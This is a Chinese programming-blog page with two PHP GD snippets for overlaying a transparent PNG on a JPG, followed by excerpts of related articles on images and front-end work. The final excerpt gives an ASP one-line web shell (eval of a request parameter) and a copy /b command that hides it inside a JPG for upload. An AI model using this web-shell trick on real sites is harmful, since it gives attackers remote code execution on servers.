php透明合并png与jpg图片

 1 <?php
 2 $png = imagecreatefrompng(‘./mark.png‘);
 3 $jpeg = imagecreatefromjpeg(‘./image.jpg‘);
 4
 5 list($width, $height) = getimagesize(‘./image.jpg‘);
 6 list($newwidth, $newheight) = getimagesize(‘./mark.png‘);
 7 $out = imagecreatetruecolor($newwidth, $newheight);
 8 imagecopyresampled($out, $jpeg, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
 9 imagecopyresampled($out, $png, 0, 0, 0, 0, $newwidth, $newheight, $newwidth, $newheight);
10 imagejpeg($out, ‘out.jpg‘, 100);
11 ?>
 1 另外一种方法:
 2
 3 $dest = imagecreatefrompng(‘mapCanvas.png‘);
 4 $src = imagecreatefromjpeg(‘si.jpg‘);
 5 imagealphablending($dest, false);
 6 imagesavealpha($dest, true);
 7 // Copy and merge
 8 imagecopymerge($dest, $src, 17, 13, 0, 0, 60, 100, 100);
 9
10 // Output and free from memory
11 header(‘Content-Type: image/png‘);
12 imagepng($dest);
13
14 imagedestroy($dest);
15 imagedestroy($src);

php透明合并png与jpg图片

时间: 2024-11-29 19:50:34

php透明合并png与jpg图片的相关文章

[转]制作png格式透明图片的简易方法

原文地址:http://blog.csdn.net/zhouyingge1104/article/details/24460743 photoshp之类的专业软件太复杂,其实,制作透明图标有比较简易的方法,用PowerPoint或者国产的WPS演示就可以搞定. 以WPS演示为例,先打开一张图片,此时可以明显看出,图片是白色背景,并不透明. 然后,单击图片,顶部的工具栏里面出现了"设置透明色"选项,单击它,光标变成一支笔的形状: 然后在用这个光标在白色的部分单击一下,马上就透明了: 然后

Egret Wing4.0.3 合并资源图片问题

一 发布项目时,选择合并图片资源 选择合图大小 发布后,图片合并.随机了图片名字.  二  随机名的问题 当资源不变更的情况下,多次发布,每次发布后资源的图片随机名是不变的. 现在改变preload组中一张图片的高宽,合并资源图后,preload合并图随机名改变 改变preload组中一张图片的名字,合并资源图后,preload合并图随机名改变 每次更新图片后,合并资源图的名字都随机改变了.这样图片不会有缓存. 但是配置文件default.res.json仍然有缓存,对于更新时有缓存帮助不大..

用DIV+CSS切割多背景合并图片 CSS Sprites 技术

很久之前就在互联网网站和一些js插件中见过这种技术的应用,当时觉得很麻烦,就没有用,也没有去深究. 近段时间一直在做前台的一些东西,涉及到很多div+css的问题.这个东东我又碰到了,所以我花了点时间去网上了解了下其中的原理.原来这个叫CSS Sprites技术,主要是个人爱好啦,我对前台这些个东西比较感兴趣,所以会去了解多一点. 废话不多说,直接上我做的小例子: 这是一张多个小背景的图片合并而成的图片,当我们想要在页面上只显示其中我们需要的区域时,我们就需要将其“切”出来. Java代码  

Web性能优化:图片优化

程序员都是懒孩子,想直接看自动优化的点:传送门 我自己的Blog:http://blog.cabbit.me/web-image-optimization/ HTTP Archieve有个统计,图片内容已经占到了互联网内容总量的62%,也就是说超过一半的流量和时间都用来下载图片.从性能优化的角度看,图片也绝对是优化的热点和重点之一,Google PageSpeed或者Yahoo的14条性能优化规则无不把图片优化作为重要的优化手段,本文覆盖了Web图片优化的方方面面,从基本的图片格式选择.到尚未被

jquery实现图片按需延迟加载原理

为什么我们需要图片按需加载? 网站中的图片可以使网站添加不少"色彩", 但大量的图片会使我们打开的速度下降, 但我们又不得不用这些图的时候, 我们可以变相的加载这些图片, 常见与一些列表页啊, 或者大数据的主页啊, 或者 "全是图" 的页面, 那么这个图片加载就显着重要了, 比如 jd,taobao啥的都在用, 所以说 你并不孤单! 数据显示通过按需加载图片可以大大的提高网站的打开速度! 1, 首先我们得改变这些图片的HTML结构, 把图片的 src 换成一个 &q

webp图片详解

WebP(发音 weppy),是一种支持有损压缩和无损压缩的图片文件格式,派生自图像编码格式 VP8.根据 Google 的测试,无损压缩后的 WebP 比 PNG 文件少了 45% 的文件大小,即使这些 PNG 文件经过其他压缩工具压缩之后,WebP 还是可以减少 28% 的文件大小. 2010 年发布的 WebP 已经不算是新鲜事物了,在 Google 的明星产品如 Youtube.Gmail.Google Play 中都可以看到 WebP 的身影,而 Chrome 网上商店甚至已完全使用了

Android11_图片处理

安卓多媒体编程 1,计算机图形的表示方式方法 1.1 ①像素点形式(单色位图),一个像素点相当于1*1个像素,8个像素点就是8个0011占据一个byte的位置,200*200=40000 40000/8 = 5000byte字节 ②24位位图,一个像素点有24位(2的24次方)来表示颜色 ,3个byte.40000*24/8 = 120000byte字节 ③256位图,一个像素点占256色,为(2的8次方),一个byte.40000byte就可以表示. 1.2 矢量图形:储存的是指令,而不是像素

图片轮播(左右切换)--js原生和jquery实现

图片轮播(左右切换)--js原生和jquery实现 左右切换的做法基本步骤跟 上一篇文章  淡入淡出 类似,只不过修改了一些特定的部分 (1)首先是页面的结构部分 对于我这种左右切换式 1.首先是个外围部分(其实也就是最外边的整体wrapper) 2.接着就是你设置图片轮播的地方(也就是一个banner吧) 3.然后是一个图片组(可以用新的div 也可以直接使用 ul-->li形式) 4.然后是图片两端的左箭头和右箭头5.然后是一个透明背景层,放在图片底部 6.然后是一个图片描述info层,放在

一句话图片木马的制作与使用方法

之前也写了个一句话木马的使用方法在回帖中有人提出问题如何在图片中插入一句话木马于是为了方便各位在此开一帖一句话图片木马的使用方法 第一种方法:利用copy命令详细操作为1.随便找一张图片 名字改成1.jpg(名字改为1.jpg只是为了方便记忆和输入 文件的后缀随意 只要是图片的格式就可以了)2.<%eval request("keio")%>           存为1.asp(就是一句话木马)3.copy 1.jpg /b + 1.asp /a 2.jpg      存为